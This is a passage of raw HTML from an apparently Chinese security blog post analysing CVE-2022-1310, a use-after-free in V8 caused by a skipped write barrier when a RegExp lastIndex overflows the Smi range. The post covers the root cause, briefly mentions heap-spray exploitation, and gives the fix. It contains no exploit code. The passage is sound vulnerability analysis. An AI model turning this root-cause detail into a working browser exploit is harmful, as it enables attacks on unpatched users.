Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 4;text-indent: 0em;text-transform: none;white-space: pre-wrap;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 15px;text-align: left;">由于加1后的值1073741824超过Smi的表示范围，V</span><span style="margin: 0px;padding: 0px;color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 4;text-indent: 0em;text-transform: none;white-space: pre-wrap;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 15px;text-align: left;">8引擎在堆中重新申请了一个HeapNumber对象来存储新的lastIndex值，此时，该RegExp对象的lastIndex属性不再是一个Smi数，而是一个指向堆中HeapNumber对象的指针。如下图所示：</span></span></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5741543798785776" data-s="300,640" style="" data-type="png" data-w="1153" src="https://wechat2rss.xlab.app/img-proxy/?k=064d577d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplTpWSfQkJyibvqXzRVUupNd76mO9Gf88e47sDXDI9PbKxfbtJMKJdR29jMnvmQ0lfSWUlicUu3hVHaA%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin: 0.8em 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 0.544px;font-size: 15px;text-align: left;text-indent: 0em;visibility: visible;">在之前的垃圾回收中已经介绍，V8的Minor GC的Write-Barrier机制需要对将新生代内存中的新建对象置灰并添加到标记列表中，以省略对老年代对象的遍历。但函数SetLastIndex在处理RegExp对象存在初始化Map情况的代码分支中，默认lastIndex是一个Smi值并使用SKIP_WRITE_BARRIER标记跳过了写屏障。因此，当re.lastIndex变成了HeapNumber对象，又没有被Write-Barrier标记，那么在GC发生时，该对象就会被当作可回收对象被释放，释放后re.lastIndex属性指针就变成了一个悬垂指针，指向了一个已释放的堆空间，再次尝试访问这个对象空间，就产生了Use-After-Free漏洞。</span></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.3494539781591264" data-s="300,640" style="" data-type="png" data-w="1282" src="https://wechat2rss.xlab.app/img-proxy/?k=521c7df5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplTpWSfQkJyibvqXzRVUupNd7ibngnmGv37Fd8L0SNLrGHl5EVGhatiaMu3k6ZS3OD5SQJpqO9LjUlEaA%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin: 0.8em 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 0.544px;font-size: 15px;text-align: left;text-indent: 0em;visibility: visible;">该漏洞（CVE-2022-1310）是一个典型的UAF漏洞，触发后可以通过堆喷重新分配释放后的<span style="color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 4;text-align: left;text-indent: 0px;text-transform: none;white-space: pre-wrap;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;">内存</span>空间达到利用的目的，但由于GC时间和堆喷的不稳定性，会给漏洞利用增加一定难度。在漏洞报告中，作者也给出了完整的利用代码，感兴趣可通过参考文档中的issue <span style="color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 4;text-align: left;text-indent: 0px;text-transform: none;white-space: pre-wrap;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;">1307610的完整报告继续研究。</span></span></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5597964376590331" data-s="300,640" style="" data-type="png" data-w="1179" src="https://wechat2rss.xlab.app/img-proxy/?k=cd799e2c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplTpWSfQkJyibvqXzRVUupNd7Tm0DFibsGxq0BNOV50RgKzF51ibdlcxqfGMzqMxZjtq6w0pBqpicyUmyg%2F640%3Fwx_fmt%3Dpng"/></p><h2 cid="n0" mdtype="heading" style="margin: 1rem 0px;padding: 0px;font-weight: bold;font-size: 1.75em;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;text-indent: 0em;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);break-after: avoid-page;break-inside: avoid;orphans: 4;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;visibility: visible;overflow-wrap: break-word !important;"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;font-size: 17px;visibility: visible;overflow-wrap: break-word !important;">总结</span></strong></h2><p style="margin: 0.8em 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 0.544px;font-size: 15px;text-align: left;text-indent: 0em;visibility: visible;">漏洞（CVE-2022-1310）出现的根本因为是V8在处理Number类型数据时，没有考虑Smi值溢出的情况，致使新分配的HeapNumber对象破坏了Write-Barrier机制造成UAF，最终导致了任意代码执行，修复方案也非常简单，将SKIP_WRITE_BARRIER标记改成UPDATE_WRITE_BARRIER即可。</span></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.32967032967032966" data-s="300,640" style="" data-type="png" data-w="1183" src="https://wechat2rss.xlab.app/img-proxy/?k=756cbea3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplTpWSfQkJyibvqXzRVUupNd7OKDYS6jIYdGcicO2Gia6bnrnxmdfibvFsfD9mPr0c3rWPgdXgRYTjUshw%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin: 0.8em 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 0.544px;font-size: 15px;text-align: left;text-indent: 0em;visibility: visible;">该漏洞最早在2020年6月25日就有安全研究员发布了相关信息，直到2022年4月才被修复，目前漏洞细节和利用代码均已经被公开，由于V8引擎影响范围较广，请大家积极升级相关软件至最新版本。</span></p><h2 cid="n0" mdtype="heading" style="margin: 1rem 0px;padding: 0px;font-weight: bold;font-size: 1.75em;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;text-indent: 0em;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);break-after: avoid-page;break-inside: avoid;orphans: 4;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;visibility: visible;overflow-wrap: break-word !important;"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;font-size: 17px;visibility: visible;overflow-wrap: break-word !important;">参考资料</span></strong></h2><p style="margin: 0.8em 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 0.544px;font-size: 15px;text-align: left;text-indent: 0em;visibility: visible;"><a href="https://bugs.chromium.org/p/chromium/issues/detail?id=1307610" target="_blank">https://bugs.chromium.org/p/chromium/issues/detail?id=1307610</a></span></p><p style="margin: 0.8em 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 0.544px;font-size: 15px;text-align: left;text-indent: 0em;visibility: visible;"><a href="https://v8.dev/blog/trash-talk" target="_blank">https://v8.dev/blog/trash-talk</a></span></p><p style="margin: 0.8em 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 0.544px;font-size: 15px;text-align: left;text-indent: 0em;visibility: visible;"><a href="https://v8.dev/blog/concurrent-marking" target="_blank">https://v8.dev/blog/concurrent-marking</a></span></p><p style="margin: 0.8em 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 0.544px;font-size: 15px;text-align: left;text-indent: 0em;visibility: visible;"><a href="https://chromium.googlesource.com/v8/v8/+/bdc4f54a50293507d9ef51573bab537883560cc8%5E%21/" target="_blank">https://chromium.googlesource.com/v8/v8/+/bdc4f54a50293507d9ef51573bab537883560cc8%5E%21/</a></span></p><p style="margin: 0.8em 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 0.544px;font-size: 15px;text-align: left;text-indent: 0em;visibility: visible;"><br/></span></p><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);font-size: 16px;widows: 1;"><section data-mid="" mpa-from-tpl="t" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;display: flex;justify-content: center;align-items: center;width: 677px;"><section data-mid="" mpa-from-tpl="t" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;display: flex;justify-content: center;align-items: center;"><section data-mid="" mpa-from-tpl="t" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;width: 6px;height: 6px;transform: translateX(14px);"><img class="rich_pages wxw-img" data-ratio="1" data-type="png" data-w="12" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;vertical-align: bottom;height: auto !important;display: block;visibility: visible !important;width: 12px !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=d6229ea8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FasLg7via5ibAkf1mRkpS4IuZibZE5eeC0t8nibIZBfZEekibOEZVWyf9jHzIVvT2sTzKS1OtZzSBErxJUZXD1AwAAWw%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></section><section data-mid="" mpa-from-tpl="t" style="margin: 0px;padding: 0px 4px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;text-align: center;"><p data-mid="" style="margin: 0px;padding: 0px 16px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;font-size: 14px;font-family: PingFangSC-Semibold, &#34;PingFang SC&#34;;font-weight: bold;color: rgb(27, 110, 201);line-height: 20px;border-bottom: 1px solid rgb(27, 110, 201);text-align: left;">往期回顾</p></section><section data-mid="" mpa-from-tpl="t" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;width: 6px;height: 6px;transform: translateX(-14px);"><img class="rich_pages wxw-img" data-ratio="1" data-type="png" data-w="12" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;vertical-align: bottom;height: auto !important;display: block;visibility: visible !important;width: 12px !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=cb9bc775&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FicjDF5uGXY5ibE0P0Mtzns3KNb5hsCIKPfMIRultHDbmzgJcDaibI4wNKM6ZloyGRtRovyXtVdv3SuuVOcmA8gn8A%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></section></section></section></section><h1 style="margin: 16px 0px 14px;padding: 0px;outline: 0px;font-weight: 400;font-size: 22px;line-height: 1.4;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: 0.544px;orphans: 2;text-align: center;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzkwNzIxMDUyNg==&amp;mid=2247484734&amp;idx=1&amp;sn=cd777218ab931ba4fc520d5c4de058cb&amp;chksm=c0ddff4ff7aa7659b6175e495f1873ade8b2fca77969eb3b6d41c9e87f1a2d797c2bf414f7f0&amp;scene=21#wechat_redirect" textvalue="基于深度学习的主机操作系统识别" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2"><span style="font-size: 14px;">基于深度学习的主机操作系统识别</span></a></h1><p style="text-align: center;"><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzkwNzIxMDUyNg==&amp;mid=2247484650&amp;idx=1&amp;sn=9126c288f84d1d3d1e9e9a7d4410ef06&amp;chksm=c0ddfe9bf7aa778d734df0b7fa1e4c9aaaa9c753f048f88756172e0d9d78c57080a5c99fcda9&amp;scene=21#wechat_redirect" textvalue="一种快速的无代替模型的黑盒对抗攻击算法SurFree " linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2" hasload="1" style="margin: 0px;padding: 0px;color: rgb(87, 107, 149);text-decoration: none;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 22px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: center;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;outline: 0px;-webkit-tap-highlight-color: rgba(0, 0, 0, 0);cursor: pointer;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;">一种快速的无代替模型的黑盒对抗攻击算法SurFree </span></a></p><h1 style="margin: 1em 0px 14px;padding: 0px;outline: 0px;font-weight: 400;font-size: 22px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.4;text-align: center;background-color: rgb(255, 255, 255);"><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzkwNzIxMDUyNg==&amp;mid=2247484549&amp;idx=1&amp;sn=63b79085820dd2076afdc7f3437afb22&amp;chksm=c0ddfef4f7aa77e20f7724559b20aa185f93c567a6a89fc564cd827ff594cc4bdb9a1fbf1867&amp;scene=21#wechat_redirect" textvalue="Vackbot已覆盖 |【漏洞通告】Spring框架远程代码执行漏洞" linktype="text" imgurl="" imgdata="null" data-itemshowtype="11" tab="innerlink" data-linktype="2" wah-hotarea="click" hasload="1" style="margin: 0px;padding: 0px;outline: 0px;color: rgb(87, 107, 149);text-decoration: none;-webkit-tap-highlight-color: rgba(0, 0, 0, 0);cursor: pointer;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 14px;">Vackbot已覆盖 |【漏洞通告】Spring框架远程代码执行漏洞</span></a></h1><section style="margin: 0px 0px 0em;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(34, 34, 34);font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);"><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></section><section style="margin: 10px 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);font-family: -webkit-standard;font-size: 16px;letter-spacing: 1.5px;widows: 1;color: rgb(11, 121, 255);word-break: break-all;text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.43333333333333335" data-s="300,640" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;vertical-align: bottom;height: auto !important;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;visibility: visible !important;width: 194px !important;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=9bdadcd1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F7lCiaSMMkhia4WIkRNZHTwq8jJicy27jdbWa7ED26252RGmSPRE0rmHQsgZ6ZoichVyFNlvhLelZS09a194B9dyoAQ%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></section><section style="margin: 10px 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);font-family: -webkit-standard;font-size: 16px;letter-spacing: 1.5px;widows: 1;color: rgb(11, 121, 255);word-break: break-all;text-align: center;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(27, 110, 201);letter-spacing: 2px;">引领智能网络攻防科技</span></section><section style="margin: 10px 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);font-family: -webkit-standard;font-size: 16px;letter-spacing: 1.5px;widows: 1;word-break: break-all;text-align: center;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(27, 110, 201);"><img class="rich_pages wxw-img __bg_gif" data-copyright="0" data-ratio="0.0734375" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;vertical-align: bottom;height: auto !important;visibility: visible !important;width: 544px !important;" data-type="gif" data-w="640" 